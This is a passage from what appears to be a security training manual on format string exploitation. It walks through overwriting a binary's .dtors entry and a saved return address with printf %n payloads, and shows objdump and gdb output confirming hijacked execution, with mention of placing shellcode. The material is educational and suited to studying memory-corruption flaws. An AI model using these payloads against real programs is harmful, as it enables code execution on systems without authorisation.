Hack Security Pro.pdf - Index of

Using dtors.
bash# objdump -s -j .dtors vuln
vuln: file format elf32-i386
Contents of .dtors section:
80495ac ffffffff 00000000 ........
bash#
We are going to overwrite the value 00000000 from which we easily deduce the address :
0x080495ac + 4 = 0x080495b0.
bash# echo `printf "\xb0\x95\x04\x08%%.26210x"`%12\$n > file
bash# ./vuln < file
0000[...]00000
Bye bye !
Segmentation error (core dumped)
bash#
When opening the core file, gdb shows us this:
Program terminated with signal 11, Segmentation fault.
#0 0x00006666 in ?? ()
So the program tried to execute the instructions contained at address 0x00006666, and we hijacked
the program's execution flow successfully.
The “Bye bye!” chain was displayed because, as we said, the functions contained in the .dtors section
are executed after the main function.
Overwriting a saved eip.
bash# ./vuln
AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
AAAA 447470 bffff928 c8 bffff850 520f23 bffff928 80483d5 bffff850 bffff850 c8 464077 41414141
20782520 25207825 78252078 20782520 25207825 78252078 20782520
Bye bye !
bash#
Seeing how data is placed, we can guess that 0xbffff850 is our format chain's address (the parameter
provided at the printf function). Let us try to find what could correspond to a saved eip: we find
0xbffff928 and 0x080483d5. This could be a saved $ebp and $eip couple. With these elements in our
possession, we can determine the address of this saved eip, as we know that 0xbffff850 points to
41414141. After calculating it, we can conclude that the saved eip's address is: 0xbffff850 – 20 bytes =
0xbffff83c. Let's try to overwrite this value:
bash# echo `printf "\x3c\xf8\xff\xbf%%.26210x"`%12\$n > file
bash# ./vuln < file
0000[...]0000
Segmentation error (core dumped)
bash#
As in the previous example, we use gdb on the core file to determine what caused the segmentation
error. We can see that the program crashed because the eip is equal to 0x00006666. So we have
overwritten a saved eip, following the same principle as buffer overflows. From the moment we control
the instruction register, the methods used to execute code are the same as in a buffer overflow. We
could place our shellcode in environment or in vulnerable program parameter, or we could even create
a shellcode wherever we choose to by using a format chain (since we can write what we want, where
we want).
The Hackademy DMP -157/209- SYSDREAM